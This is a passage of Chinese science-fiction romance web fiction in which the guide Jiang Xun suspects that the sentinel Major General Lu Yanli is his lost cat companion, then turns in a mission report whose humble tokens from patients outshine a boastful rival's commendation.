繁忙的十字星枢纽；他们搭乘的前往中央星的希望号；突然出现在他们航道前的漆黑跃迁通道；撕裂星空的庞大战舰队伍；银白巨舰上闪耀着光芒的利剑与星辰联盟徽记；最后，两舰危险地交错而过时，对面那艘巨舰上突然冲到窗边，拍打着舷窗，隔着遥远的距离与金属的壁垒，死死凝视着他的那个人影！ “是他！”江寻猛地睁开眼，低呼出声！ 不是错觉！在空港里看到那个人时感受到的那种奇怪的熟悉感，源头就在这里！在前往中央星的路途上，他们曾经如此近距离地擦肩而过！ 原来如此，时间完全对上了，当时那撕裂星空的巨大舰队，正是联盟派出的远征军。那艘巨大的银白舰艇，就是梅丽口中陆少将的座驾，远征军主舰镇魂号！而那个在舷窗后凝视着他的人，就是陆厌离本人！ 一旦找到了这个关键的线头，旧时的记忆便开始从脑海中苏醒过来。 他还记得，当时对面那人，在看到他时，骤然激烈起来的动作，与那穿透了星空投射过来的，令人心悸的强烈视线。 当时，他也有一刹那间，对那人的身份产生了怀疑，但因为对方与他“附身”时所看到的信息不太相符，加上两人距离遥远，只有擦身而过时的匆匆一瞥，他下意识地觉得对方的举动应该与自己无关，便将这件事抛在了脑后。 江寻的心脏不受控制地加速跳动了起来，此刻，亲眼见到对方时，产生的强烈悸动感，与遥远的记忆重叠在了一起，让那个曾经被他按下的离奇到荒谬的猜测，再次涌上了他的心头。 陆厌离，这个站在联盟权力与武力顶端的S级哨兵，和那只每天都喜欢黏着他，与他共度了数个月的小猫，有关系吗？ 江寻靠在冰凉的椅背上一动不动，大脑却在飞速运转着。 “夏因向导？您怎么了？”梅丽被江寻的动静吓了一跳，关切地凑了过来，有些担忧地看了看他怔忪的面色，“您的脸色不太好，是刚才跑得太急了吗？对不起，都怪我，光顾着看少将，忘了启航时间。”梅丽有些愧疚地道歉。 “不，不关你的事，梅丽。”江寻深吸一口气，强迫自己冷静下来，但心中的怀疑却越发浓重起来。 突然，他想到了什么，转过头去，探寻地看向梅丽，有些紧张地滑动一下喉咙，尽量让自己的语气显得自然：“对了，梅丽，你之前说陆少将是你的恩人，那你对他应该很了解吧？你知道他的精神体是什么吗？” “那当然知道啦！”一说到陆厌离，梅丽立刻被转移了注意力，眼睛亮晶晶地点头，“全联盟都知道啊！陆少将的精神体和他家族一脉相承的一样，是一只特别威风的大狮子！” “狮子？”江寻的眉头下意识地蹙了起来，难道……他猜错了？一瞬间，巨大的失落感笼罩住了他。 “对啊对啊！”梅丽对江寻的心思一无所觉，兴致勃勃地向自己尊敬的学长安利自己的偶像，“是一只特别好看的灰狮子！银灰色的鬃毛，又长又密，在月光下就像波浪一样顺滑、闪闪发光，可漂亮了！” “您别看陆少将本人看着有些清瘦，可他的精神体可强了！我还记得，当时在那奴隶贩子的船上，陆少将就放出过那只大狮子，它特别大！一巴掌就能把一架中型机甲拍出去老远，可威风了！”梅丽边说着，边兴奋地连比带划，每一次回忆起当时的场景，她的情绪都会激动不已。 很大的灰狮子……怎么会是狮子，难道不是……猫吗？ 江寻心间一沉，经过这段时间对哨向知识的系统化学习，他早已清楚地确定，当时小树呈现出来的模样，就是哨兵完全拟化后的状态，与哨兵本人的精神体外貌相同。 那个样子，他再熟悉不过，就是一只体型不大，浑身灰黑黯淡的灰色小猫。这模样，和梅丽口中那只威风凛凛的大狮子，相差甚远。 难道又是巧合？他又搞错了？江寻下意识地不愿相信这个事实，指尖有些烦乱地在舷窗上胡乱划动着，一边思索，一边不死心地再次追问： “梅丽，我记得你之前提过，陆少将是因为一直找不到能够匹配的向导，堕化值过高，这才回天乏术。后来彻底堕化之后，联盟无奈将他放逐了，结果几个月前，他又奇迹般地完全康复了？” “嗯，对啊！”梅丽有些不明所以，但还是认真回答了江寻的问题，脸上再次流露出后怕的表情，“那段时间，大家都以为再也见不到他了，消息传出来的时候，我还偷偷哭了好多次。” 她有些不好意思地笑了笑，又接着说，“结果后来，联盟又突然宣布他痊愈回归了！简直像做梦一样！不过，关于他是怎么被救回来的，联盟一直态度暧昧，没发布过任何官方公告。外面的各种猜测很多，一直到现在，关于这件事还有不少流言呢！” “不过我听到最多的说法，就是愈灵殿找到了什么办法拯救了他，但因为这个治疗手段还不太成熟，危险性太大，所以一直没有公布。” 梅丽顿了顿，撇了撇嘴，“不过我才不信是愈灵殿的功劳呢！如果他们有办法，在这十几年的时间里，少将又怎么会状况越来越差呢？这里面肯定有什么我们不知道的猫腻！” 几乎完全堕化……被联盟放逐……又突然康复回归…… 江寻面色怔忪，反复咀嚼着这几个关键字。 他清晰地回忆起了他与小树的初见。 在那个空无一人的原始星球上，他刚开始遇到小树时，他虽然偶尔能爆发出惊人的力量，单独搏杀一头在那时的他看来无比恐怖的巨兽，可之后，他自己就完全失去了自控，奄奄一息地倒在了密林之中。 如果当时不是自己在关键的时候找到了他，把他带回了家，小树很可能在那个夜晚就已经死去了。 后来，即使在他的精心养护下，小树的状态也没有什么好转，好几次莫名晕倒过去。 直到最后，它甚至因为状态太差而把自己关在了别墅里，独自跑出去寻死。 如果不考虑精神体差异的话，这不是和那位陆少将的经历对上了？ 后来，他意外觉醒成为了向导，自己摸索着，花费了那么长的时间，为小树疏导治疗，直至那次突然的袭击来临前，他恰好将小树体内的污染完全净化干净。 而那位陆少将，也是在差不多的时间里，突然奇迹般的康复…… 如果这一切都仅仅是巧合，那这未免也太巧了吧？ 江寻越是往前追溯回忆，心中的怀疑就更增一分，他之前两次见到陆厌离时，那种莫名的悸动与熟悉感，此刻，仿佛都找到了一个指向性极强的出口。 突然，一个几乎已经被他遗忘的记忆碎片，闪过他的脑海。 他记得，第一次把昏迷不醒的小树放进治疗舱时，治疗舱给出的检测报告上，除了大段当时还完全看不懂的文字之外，还有几个他已经能认出来的单词。 精神污染……S级？！ 江寻的眼眸瞬间大睁！ 心脏狂跳，江寻只觉那模糊的迷雾之中，仿佛突然照进了一束明亮的阳光，脑海中那片始终被未知笼罩着的区域，似乎就要在他的面前，现出它的本来面目。 “梅丽，”江寻的声音有些发飘，带着一种凝重与希望混杂在一起的复杂情绪，“关于陆少将康复前后的具体细节，或者，他在彻底堕化之前的最后行踪，你还知道些什么吗？任何消息都可以。” 梅丽被江寻有些奇怪的语气弄得有些紧张，她努力地回想了半天，最终还是茫然地摇了摇头，带着歉意小声说：“对不起啊，夏因向导。我知道的只有这些了，都是从星网上看来的小道消息，还有塔里大家私下听来的八卦。” “陆少将的身份太高了，他当时具体经历了什么，又是怎么康复起来的，这些已经属于联盟的核心机密了，联盟没有主动公布的话，像我们这种小向导又怎么可能知道呢？” 她有些不好意思地绞着手指，“联盟对于他们这种最顶级的战力，信息封锁得非常严格的，我甚至都不能百分百确定，当时陆少将到底有没有彻底堕化，这些都是在联盟中流传的说法，也不一定是真实的。” 梅丽的话瞬间点醒了沉浸在激动中的江寻，是的，陆厌离从病重到康复，联盟官方都没有发布过任何正式的通告，一切都是流传在民间捕风捉影的消息。 他并不能确定这段经历的真实性。而他刚才所有的猜测，很大程度上是基于这段未经证实的经历的逆推，如果连前提都是从未发生过的，那么结论也一定是错的，他不能把这些推测当做客观事实来认定。 江寻定了定神，让自己从刚才那种不理智的激动中稍稍冷静下来。 看着梅丽带着歉意的表情，江寻知道，以她的身份与社会地位，的确没办法得到更多的确切消息了。 他压下心中翻腾的疑虑，努力安抚地对着她微笑：“没关系，梅丽，是我强人所难了。谢谢你告诉我这么多。”他轻轻拍了拍女孩的肩膀，“这几天你也累坏了，抓紧时间休息一下吧。” 梅丽乖巧地答应了一声，缩了缩脖子，将身体更深地埋进了座椅里，巨大的兴奋与连番的奔波带来的疲惫，终于晚一步涌了上来。很快，她的呼吸变得悠长起来，无声无息地沉入了梦乡。 可此时的江寻，已经了无睡意。 他靠在冰凉的椅背上，低头打开终端，手指纷飞快速操作，在页面的搜索栏里，打出了“陆厌离”这三个字。 无数条相关的信息瞬间刷了出来。 江寻一眼扫过，快速地筛选起来。 大部分能公开搜索到的信息，都是陆厌离这次奇迹回归之后的内容，在他这一次回归之前，尤其是病重期间，他在公众视野中的信息少得可怜，公开露面的记录更是寥寥无几。 江寻想了想，转身登上核心中的任务平台，按照陆厌离的官方编号进行查找。让他惊讶的是，搜索出来的任务通报数量惊人得多。 他记得曾听说过，这位陆厌离少将虽然如今还不到三十岁，可从军已经有十多年之久。 可他没想到的是，查询出来的最早的任务记录，居然追溯到了二十年前。 那时候，他才多大？似乎还不到九岁吧？ 江寻默然，指尖在光屏上滑动着，将任务通报一条一条从前往后翻去。 按理来说，如无意外的话，哨兵学院那边也和向导学院一样，在求学发展自身潜力的阶段里，只需要每个月完成一次学院安排的强制实践任务就可以了。 并且这些任务都是提前经过了筛选的，强度和危险性都不会太高，旨在让学员们提前适应今后的工作环境，培养他们的责任心与协作性。 可这位陆少将，从一开始，任务间隔时间就很短，长的只有五六天，短的甚至是上一个任务结果刚刚通报出来，下一个任务就已经开始了。 不仅如此，他的任务强度也远超旁人，根本不像一个刚刚觉醒的小哨兵。与此同时，在早期的任务记录中，极少见到他与其他人配合协作。 这意味着，在相当长的一段时间里，尚且年少的他，都是在独自执行着这些危险的任务！ 直到几年以后，他的合作任务记录才开始渐渐增多。而然，这样的情况又在一两年以前，发生了变化。任务记录再次变成了单人任务的模式。 江寻的心猛地一沉。这个任务模式的变化，不正清晰地描绘出了一个能力强大的少年哨兵，从能力刚刚觉醒不稳定，到稳定运行，再到精神图景污染崩溃，能力再次失控的全过程吗？ 再次回忆起空港中那个人苍白冷峻的侧脸，江寻心中蓦然涌起一阵酸涩。 如果这样的一个人，只是一位素不相识的联盟英雄，那么江寻会敬佩于他的赫赫功勋，感叹于他的伟大奉献。 可当他想到这个人，有可能是那个天天都要自己帮他梳毛，爱黏人爱撒娇，每个夜晚都要自己抱着才愿意睡觉的小树的时候，心中却只剩下了化不开的心疼。 在那叠厚厚的任务通报中，“陆厌离”三个字，只是一个冰冷单薄的符号，只在每一张通报的末尾出现一下的名字。 无人知道在那一张张薄薄的任务报告后面，那个人是否曾在陌生的星球上独自忍受过伤痛，是否曾在敌人的环绕中感到过恐惧，是否曾在无尽的旅途中承受过疲惫，是否曾被精神疾病折磨得痛不欲生，又是否曾徘徊在生死的边缘，孤独地等待着终局。 星际太过浩瀚，生命太过渺小。 除了那些在任务中真实的被他亲手拯救过的人，或许根本没有人知道他曾在那里存在过，没有人知道他曾经付出过什么。 若不是后来传出他已经堕化，被军部放逐的消息，引得许许多多受过他恩惠的人自发为他悼念，可能直到死亡，他都不会被大众真正的“看见”。 正是那场迟来的悼念，才让那些几乎被尘封的故事展示在了众人眼前。 曾经被他拯救的人诉说着他的强大与慈悲，曾经与他并肩作战的战友追忆着他的认真与负责。 于是，那个在大众心目中一直单薄模糊的“联盟双星”的形象，才在他死后，骤然变得丰满立体，有血有肉，终于被所有人看到，成为了真正的联盟英雄。 江寻甚至感到了一丝后怕，如果没有当初的堕化，这位陆少将，是否直到现在，仍然穿行在血雨腥风之中，用比寻常人还要单薄许多的脊梁，独自扛起无数人的希望？ 江寻甚至开始感到了自责，因为在发现他有可能与小树有关系之前，连他自己也是这样看待对方的。 尊敬，佩服，但是也仅此而已。那些只是听着就觉沉重的过往，当与己无关时，也只不过是掠过耳畔的一阵轻风，吹过去了，也就忘记了。 江寻在光屏上调出了一张看起来是最近才拍摄到的照片，手指从那黑白分明的轮廓上描摹而过。 他的目光紧紧钉在照片上那双深邃的墨绿双瞳上。 明明是完全不同的两双眼睛，他却觉得那眼神深处，藏着某种令他极度熟悉的什么东西。 他下意识地将手掌探入衣襟内侧，紧紧握住贴身藏着的那块冷硬的黑色铭牌。 陆厌离……小树…… 这一刻，这两个看似天差地别的形象，在他的脑海中激烈地碰撞起来。 思绪纷乱，疑窦丛生。 许多因为分离被他暂时压下的疑问，在找到了一丝希望的同时，重新从心底翻涌了上来。 如果陆厌离就是小树？那他们两个完全不同的精神体是怎么回事？ 当初，他为什么一直都不愿意告诉自己他的真实身份？如果一开始是自认为已经药石惘然，可后来自己明明都觉醒了向导能力，把他从死亡边缘拉了回来，为什么还是一直欺骗着自己？ 当初那伙袭击别墅的人背后站着谁？他曾经推断对方是小树的身边人，看中央星空港那边一直没有被撤掉的蹲守人员，他猜测对方依然掌握着庞大的资源和能量。小树他发现身边潜藏的毒蛇了吗？他现在摆脱危险了吗？ 如今外界都在传说，他在返程途中，一直徘徊在中央星系中，花费着巨大的人力物力，在寻找着什么东西，他到底在找什么？ 江寻心中一颤，一个令他不敢置信的念头突然冒了出来，他该不会是……在找我？ 无数个问题盘桓在心中，无法找到答案，江寻心中唯一清晰的，是心底那份不断扩大的怀疑与思念。 江寻的眼神渐渐变得锐利而坚定，他轻轻摩挲着掌心中的那块小小的铭牌，感受着那熟悉的冰凉触感。 “陆厌离……” 他在心底无声地默念着这个名字，带着探究，也带着一种连他自己都未曾整理明白的复杂情绪。 “这一次……我一定会搞清楚。”—— 作者有话说：掉马进行时！[让我康康]《 》 135-140 第136章 穿梭舰平稳地停靠在中央星繁忙的空港， 江寻与梅丽两人背起背包，换乘了接驳车，又通过巨大的轨道电梯， 这才在星枢群岛上登陆， 重新回到了熟悉的繁华都市之中。 两人一起搭乘了返回哨兵岛的最后一班飞艇， 落地后，在岛际交通站中互相道别，带着满满的收获与彼此的祝福， 各自奔向学院的方向。 当圣所那标志性的白色高塔终于出现在视野之中时， 江寻这才真切地感到，这次的任务终于结束了。 紧绷的心骤然松懈下来，连日来高强度的疏导与过度思虑所积累起来的疲惫感，便瞬间涌了上来。 精神海深处传来阵阵拉扯的钝痛，后脑勺更像是被无数细密的尖刺在不断地戳刺着，不停传来一阵阵难忍的刺痛。 他无奈地叹了口气， 最近也不知是怎么搞的， 明明想要好好修养， 把精神力恢复上来重新打开那扇“门”，可各种事情却不断地接踵而至， 逼得他一次又一次地用尽精神力，重复着陷入匮乏的窘境。 难怪向导们都需要哨兵为他们提供精神补偿了， 江寻疲惫地想。自己的精神力恢复速度在同级里已经算快的了，尚且难以应付， 那些等级更低，精神力海容量更少的低阶向导，日子该有多么难熬？ 嗯？等等！ 想到这里，江寻的脚步猛地一顿。 他忽然想起， 当初自己刚刚觉醒，精神力还非常浅薄的时候，也曾经有好几次不知道深浅地胡乱使用精神力，导致自己陷入了匮乏的状态。 但是那时候，每次只要睡上一觉，第二天醒来精神力就能恢复得七七八八了。 当时他什么常识也不知道，一度以为这是正常的现象。可到了如今，才猛然发觉，那时的恢复速度似乎快得极不正常。 即使到了现在，他的精神力海总量已经踏入了A级的范畴，日常里能感觉到的恢复速度，比以前不知快了多少。却也依然不能达到当时那种睡一晚上，就能精神焕发的程度。 所以，当时真的和我以为的一样，一切正常吗？ 江寻眯了眯眼，脚步不由得慢了下来。他又在小树身上记下一个疑问，这才暂且把思绪压了下去，快步走向圣所行政大厅。 前往行政大厅提交任务报告并签到，是所有学员们返校后要做的第一件事。 离行政大厅还有一段距离，江寻就听到了前方不远处传出的一阵喧闹人声。 嗯？是接取了集体任务的学员一起回来了吗？ 江寻心中掠过一丝疑惑，但并没有太过在意，依然按照自己的速度向前走去。 然而，前方被堵得水泄不通的大厅入口，却让他的脚步不得不停了下来。 围在那里的人群，看着年纪都不太大，大多应该都是研修班和基础班的学员。其中还混杂着一些身形高大矫健，一看便是隔壁哨兵学院的学员。偶尔能看到一两个穿着行政人员灰色套装的工作人员。 学员们里三层外三层地簇拥在大厅门口，把入口处堵了个严严实实。脸上挂着或羡慕或八卦或不屑的神情，目光齐刷刷地投向人群环绕的中心。 江寻微微蹙眉，他现在很疲惫，只想赶紧提交完了报告后，早点回家休息，对这些年轻人们搞出的热闹根本毫无兴趣。 正要拨开人群从缝隙中挤过去，却听到一个耳熟的清脆声音，从人群正中心传了出来。语气中，是毫不掩饰的优越感与炫耀得意。 “……哎呀，我都说了，不用送了嘛，我可以自己过来。可是弗兰克少爷就是不放心，怕我精神力匮乏不舒服，非要亲自陪我一起来提交任务报告呢！” 那声音甜得发腻，说着说着，便轻声笑了起来，嘴上说着推辞的话，语气里的得意却藏都藏不住。 是桑扶的声音。 江寻抬眼看去，只见桑扶正姿态悠然地斜靠在一辆星空灰色的豪华悬浮车旁边，掩着嘴轻声笑着，眼神在旁边正从车上下来的男人身上一勾，便流转出十二分的潋滟来。 走下车的男人，一头耀眼金发，身上衣着考究，面上随时随地都是一副慵懒之色。此时，显然对桑扶这番姿态很是受用，也不介意对方的小心思，嘴角噙着一抹矜贵的微笑。 往桑扶身边一站，手便极其自然地搭上了他的后腰，姿态亲昵中又透着几分居高临下的占有意味。 一见对方的表现，桑扶明显更加高兴了，面上的笑容都更加灿烂了几分，顺着对方的臂弯就靠了过去，整个身体几乎都贴进了男人怀里。 周围众人一见两人这般作态，瞬间引爆，喧闹之声陡然提高了一个度。 “天啊！桑扶，你刚才说你精神匮乏？你给弗兰克少爷深度疏导了？你这是和弗兰克少爷正式建立关系了吗？”一个女学员眼睛大睁，捂着嘴惊呼。 “太厉害了吧！这才一起去做了三天的任务，你就把弗兰克少爷拿下了？”另一个学员语气里满是不可思议。 “还是你行！这可是弗兰克少爷第一次公开固定疏导关系吧！” “桑扶向导这是真的要一步登天了啊！要是最后能和弗兰克少爷成为绑定伴侣，这不就直接等着继承雷欧家了啊！” 为了今天的亮相，桑扶明显特意精心打扮过，面上容光焕发，一身衣物修身熨帖，一看便是质地极好的料子。连一头秀发都打理地柔顺光泽，一丝不苟。与身边的弗兰克站在一处，宛如一对璧人。 他正享受着周围众人投来的艳羡目光，突然一瞥眼，恰好看到了从人群后方缓缓走近的江寻，那双漂亮的眼睛里瞬间闪过毫不掩饰的得意来。 “呦！这不是我们最有本事的夏因向导吗？” 桑扶的声音陡然提高了一个度，瞬间引导着众人的目光投向了人群后方的江寻。 江寻一下穿梭舰就直接过来了，连衣服都没换过，那个朴素的背包也还挂在背后，精神力匮乏之下，脊背微弯眼下青黑，一身的疲惫憔悴肉眼可见。与前方光彩照人的桑扶形成了鲜明的对比。 “科里亚星的公共疏导所，滋味怎么样呀？”桑扶做作地捂住嘴轻轻笑着，眼睛得意地眯成了一条线，“听说那边天天都人满为患，塞得满满的，全是些佣兵苦力，疏导起来能把向导累死。” 他故意顿了顿，眼神从江寻疲惫的脸上扫过，语气更加不怀好意，“而且，都是些又穷又老又丑的歪瓜裂枣，瞧你这副累的模样，不会是三天三夜都没有合眼，忙着给那些臭烘烘的小哨兵们白天晚上地‘服务’吧？” 他故意在“服务”两个字上加重了音，眼神一转便流露出一股别样的意味。引得周围那些恭维巴结他的学员们，发出一阵心领神会的暧昧哄笑。 听着桑扶暗藏深意的嗤笑，弗兰克的目光也懒洋洋地扫了过来，落在江寻那明显带着倦意的脸上时，那双总是带着几分傲慢的眼睛里，闪过了一丝满意。 他什么也没有说，只是搭在桑扶腰后的手指微微用力，在江寻面前将怀中的人搂得更紧了些，视线在江寻身上缓缓逡巡着，由下而上，在最后对上江寻平静的目光时，嘴角勾起一抹意味深长的微笑。 对于这种显得有些幼稚的挑衅与炫耀，江寻心中毫无波动，只觉得吵闹又浪费时间。 这会儿他身体不适，更加懒得应对他们这些莫名其妙的敌意，只想快点提交了报告好回去休息。 他平静地开口，丝毫没有在意两人的意思，只是声音因为疲惫有些沙哑，但语调却仍然清晰：“麻烦让一下，我要进去提交报告。” 桑扶脸上得意的笑容瞬间僵了一下，被江寻这种完全无视他的态度激怒了。 他刚刚低沉了面色，想要发作，又像是突然想起了什么，硬生生把涌到嘴边的刻薄话语咽了回去。嘴角扯出一个不怀好意的笑容，眼神带着恶意，在江寻身上溜了一圈。 “哼，急着去交你那了不起的支援任务报告吗？”桑扶嗤笑一声，两条柔软的胳膊缠上弗兰克的手臂，整个身体几乎都挂在他身上，转头说话时，声音又变得甜蜜迷人，“弗兰克，我们也快去提交任务吧，王教授不是还特意给我们写了一封嘉奖信吗？” 他刻意将“嘉奖信”三个字咬得很重，果然，又引来周围一片羡慕的赞叹之声。 弗兰克也十分配合，优雅地微微侧身，最后瞟了江寻一眼，露出一抹含有几分深意的笑容，便带着桑扶转身走向大厅左侧的任务交接处。 人群自动为两人分开一条道路，避向两边。 桑扶得意地轻哼一声，下巴高高扬起，笑着挽上弗兰克的手臂，在众人艳羡的目光中，当先昂首挺胸地走向窗口。 围观的人群被桑扶这番自信的模样惹起了好奇心，也如同潮水一般跟着他们涌了进去。 江寻根本不在意周遭的目光，和对着他指指点点的窃窃私语，见众人终于让开了入口的位置，便也丝毫不在意地迈开脚步，跟在众人身后，走进了宽广的行政大厅。 桑扶和弗兰克在人群的簇拥下，走到了左侧的任务交接窗口。 得意地环视了一圈周围聚焦在他身上的无数目光，桑扶从一个精致的文件袋里取出一份光洁的任务报告单，和一封颇为考究，印有深空探索者号科考船徽记的信笺，递给窗口内坐着的工作人员。 同时再次提高了音量，确保让周围的所有人都能听到他的话语：“王教授的嘉奖信和任务报告都在这里了。弗兰克，你说普利兹教授会给我们什么评级呀？” 弗兰克面上没有桑扶那么多的表情，作为顶级世家的当代嫡系继承人，他从小到大得到的任何评价都是最优，这一次也不会例外：“普利兹教授处事一向公正严明，这次，我们的工作完成得也非常出色，与其他工作人员的协作研究也进行得很顺利，最优评级是我们应得的。” 他的目光瞥了一眼走到旁边窗口前，开始排队的江寻，嘴角勾起一抹若有似无的笑意。 窗口中坐着的工作人员刚开始被这汹涌而来的人群吓了一跳，定了定神后，这才看到面前这对依偎在一起，姿态亲昵，一眼便看得出出身不凡的年轻哨兵向导。 作为对外服务人员，他也算是见过世面的，可也少见这番场景，态度不由得更加恭敬。 双手接过对方递送进来的报告和信笺，便取出工具，快速扫描确认。 蓝光闪烁，仪器发出轻微的嗡鸣声。光屏上迅速显示出桑扶和弗兰克的任务信息。紧接着，一个醒目的金色“S”符号就跳了出来，重重印在了下面的“完成评级”空栏上，同时，伴随着“叮咚”一声，相应的丰厚学分与信用点奖励便已经瞬间到账。 当工作人员拿起那封由王振林教授开具出来的嘉奖信时，脸上更是露出了肃然起敬的神色，快速阅读过一遍之后，便清了清嗓子，朗声宣布道：“协助‘深空探索者号’高危星域异常样本采集任务已完成！任务执行人：弗兰克·雷欧、桑扶。任务综合评价：S！备注：工作表现优异，获得科考队首席科学家王振林教授特别嘉奖！” 此言一出，人群顿时“哗”一声爆发出一片羡慕的惊呼和议论。 王振林教授在科研界的名声，众人无不如雷贯耳，他是虚空生物学领域的领军人物，近年来在许多重量级期刊上都发表过科研论文。能得到他的亲口夸奖，便已经足够让一个尚在学习的学员身价倍增，更不要说，是一封由他本人亲撰的正式嘉奖信了。 听着众人热烈的议论声，享受着聚焦而来的目光，桑扶脸上的得意几乎要溢出来。 他斜睨向旁侧站在窗口前排队的江寻，目光中，满是挑衅与得意。 就在这时，在短暂的等待后，隔壁窗口的排号终于也轮到了江寻。 他扫了一眼隔壁热闹的情景便不再关心，径直走到自己的窗口前，平静的对着里面的工作人员说道：“提交强制任务报告，科里亚星第二公共疏导所的医疗援助任务。” 众人本就一直关注着这个从入学以来就经常传出各种传闻的高级向导，一听到他说话，目光便瞬间被吸引了过去。 只见江寻取下肩上那个有些发白的背包，从里面掏出一个鼓鼓囊囊的旧文件袋。解开袋口的系绳，手腕一翻，便直接将里面的东西一股脑全部倒在了面前光洁的柜台上。 “哗啦！” 一阵零碎声响过后，一堆杂七杂八的东西便摊开在众人眼前。 其中最显眼的是一大摞大小不一、颜色各异的信纸。能看出这些信明显来源于不同的人，上面的字迹，有的工整严明、力透纸背。有的清秀隽永、婉转多情。有的歪歪扭扭，时不时还夹杂着一个错别字，甚至还有用彩色蜡笔画出的，充满了童趣的涂鸦和稚嫩的手指印画。 除了这些信纸之外，散落在这些杂物之间的，是一小卷皱皱巴巴，面额不一的信用点卷。不过众人仔细看去，这些点卷面额都很小，最大的也不过是100点。 随着文件袋的倾倒，还有几声细碎清脆的金属碰撞声传来。那是几枚外表看着磨损严重，还带着些长短不一划痕的金属徽章。有象征着哨兵等级的各色哨兵剑徽，也有代表塔的塔徽，还有一些独属于各个军团的军团徽章。这些徽章看着样式都很老旧了，有的甚至已经不再发行，成为了绝版。 这些徽章虽然看着饱经风霜又非常渺小不起眼，但每一枚都被擦拭得明光铮亮，看得出他们主人的爱惜。 此外，其他的零碎还有许多，比如一支普普通通的感应笔，一块儿包装简单的甜蜜糖果，一枚形状奇特但颜色漂亮的小石头，甚至还有一朵已然有些蔫吧的小花。 最后，才是一份被装订得整整齐齐，显得格外厚重的任务报告。 大厅众人刚开始看到这些看起来杂乱无章的东西时，还有几声嬉笑声传出，待柜台上这些看起来毫不起眼的物品，被一件件展现出来，声音反而渐渐弱了下去，直至一片寂静。 刚刚还围在桑扶身边，一脸羡慕地看着桑扶与弗兰克两人出尽风头的人群，在此刻，看着这些与“珍贵”毫无关系，甚至显得略有寒酸的杂物，尽皆愕然，面面相觑。 桑扶脸上得意的表情凝固了一瞬，一丝错愕从面上掠过，随即便迅速化为毫不留情的鄙夷与嘲讽： “夏因，这都是些什么？你是去科里亚收破烂了吗？你辛辛苦苦在科里亚干了三天，那些穷鬼就给了你这些垃圾当报酬吗？哈！” 他夸张地指着柜台，在渐渐安静下来的大厅中，他刻意提高的声音，显得格外刺耳。 对桑扶的嘲笑，江寻连一个眼神都懒得挪过去。他将那份厚厚的任务报告推到了已然愣住的工作人员面前，再开口时，声音更加疲惫沙哑了：“您好，报告在这里，麻烦您了。” 窗口内的工作人员很快从震惊中回过神来，深厚的职业素养，让他迅速调整好了状态。他深深地看了一眼面前这个年轻却异常沉稳的向导，拿起那份沉甸甸的报告，开始逐页翻阅。 随着一页一页地快速浏览，他脸上原本公式化的职业微笑渐渐散去，转而变成越来越浓的惊讶，最后全部化为了由衷的钦佩。 报告单上没有过多的溢美之词，只是密密麻麻地记录着每一个曾接受了江寻疏导的哨兵的具体资料。 从每个人的姓名、等级，到初始堕化值、具体症状描述、疏导后的状态及复测的堕化值。所有的信息记录得分外详细分明，让人一眼看到这些简洁的文字，便能想象得出藏在这背后的，一个曾经在疯狂的边缘苦苦挣扎的灵魂。 一页又一页，每一页上都是一个严重病例，几乎没有看到堕化值低于50%以下的轻度病例。而那几乎可以抵得上正常疏导医师一个多月所有工作量的庞大数据，与每张记录上显示出来的，那治疗前后的强烈对比，更是形成了一种无声却沉重无比的震撼。 工作人员仔细地看完了所有的任务报告，深吸了一口气，再抬头时，声音中已经带上了明显的敬意：“学员夏因，所接取任务为：科里亚星第二公共疏导所医疗援助任务。根据任务报告及疏导所主管霍克先生提供的实时同步数据确认……” 他顿了顿，如同刚才那位工作人员一样提高了音量，清晰地宣布道： “任务综合评价：S！疏导数量总计：一百二十一人次。其中包含A级哨兵四人次，B级哨兵三十一人次，C级及以下哨兵八十六人次。根据任务报告及系统病例记录显示，所有接受疏导者，精神状态均得到显著改善，暂无任何不良反应反馈。疏导所主管特别附注：恳请圣所未来如有类似援助任务，优先考虑派遣夏因学员。” 宣布完毕，工作人员将同样的一个金色“S”标记郑重印在了任务页面上，将对应的学分与报酬划入了江寻的账号之中。 只不过，这些报酬皆由圣所援助提供，属于政策性基础津贴，数额与桑扶他们所获得的信用点相比，少得可怜。 江寻点点头，对于报酬数额他早有预料，也并未觉得意外。确定所有手续都办完后，这才默默将散落在柜台上的那些信纸、徽章、信用卷等物，一件一件，仔仔细细地重新收回到了那个旧文件袋里。 他的动作不快，甚至可以说有些缓慢，可整个大厅里却没有任何一个人催促他。 做完这一切，他将文件袋重新珍重地装回背后的旧背包中，转身就走。 从始至终，连一个眼神都没有分给旁边已然脸色铁青的桑扶。 第137章 当江寻迈步前行的时候， 面前的人群便自发地为他让开了一条通道。 那些几分钟前还围绕着桑扶阿谀奉承、羡慕嫉妒的学员们，此刻看向江寻背影的目光中，已然充满了难以言喻的复杂情绪。 或许人类对于高尚的崇敬都是共通的， 即使许多人仍然在心中觉得江寻此番作为得不偿失， 亦有许多人暗自腹诽着他的清高自傲， 可面对着这份沉甸甸的真实功绩，已没有任何一人愿意对他投去一丝恶意的目光。 大厅里陷入了长久的寂静，人们默默地注视着江寻略显疲惫的背影一步步远去， 最终消失在门口的光影里。 许多人不再簇拥在桑扶与弗兰克身边看热闹， 脸上露出恍然懊悔之色，脚步匆匆地四散离开。也有不少人，目光投向那沓仍然被窗口中的工作人员攥在手中的厚厚任务报告，眼中闪烁出坚定的光芒，悄无声息地转身离去。 最后，只剩下几个一直跟在桑扶与弗兰克身边的铁杆拥趸还留在原地， 绞尽脑汁地试图安慰脸色难看的桑扶。 “桑扶哥， 你别理他， 他肯定是故意的，谁知道他疏导的那些人过两天会不会出什么问题？” “就是， 看他那副清高样儿，治了几个泥腿子， 就敢不把我们桑扶哥放在眼里了？” “哼，看他累死累活好几天， 把自己折腾成那样，有什么用？赚到的钱还没你的零头多呢……” “可不是嘛！这种小地方的任务做下来，对以后竞聘高阶职位可一点帮助都没有！王教授的那份嘉奖信才是实打实的敲门砖！” 几人七嘴八舌地说着，可这些安慰的话语， 在周围迅速散去的人群背影衬托下，显得那么苍白无力。 桑扶死死咬着下唇，不甘心地死死盯着江寻消失的方向，精心修饰的脸上，如今已经完全看不出娇俏之色，一阵青一阵白的。 他想不通！明明自己给江寻安排了这种没人愿意接的苦差事，他为什么还像个傻子似的累死累活地干，就为了那点微薄的报酬和那堆子不值钱的破烂玩意儿？ 明明这是他精心策划，争取到的完美结果，可为什么，却得不到江寻的一分在意？为什么当他的那些可笑的破烂出现之后，所有的羡慕目光便统统离他而去？为什么明明是他得到了实实在在的财富和荣誉，可他却感觉输的那个人……是自己？ 弗兰克的面上此刻也失去的笑容。 他不再去在意桑扶的情绪，甚至连自己的手臂从桑扶腰间滑落了下来都没有注意到。 他的目光同样停留在江寻消失的门口。 心中那份因当众被拒而燃起的恼火，此刻已经无声无息地烟消云散。 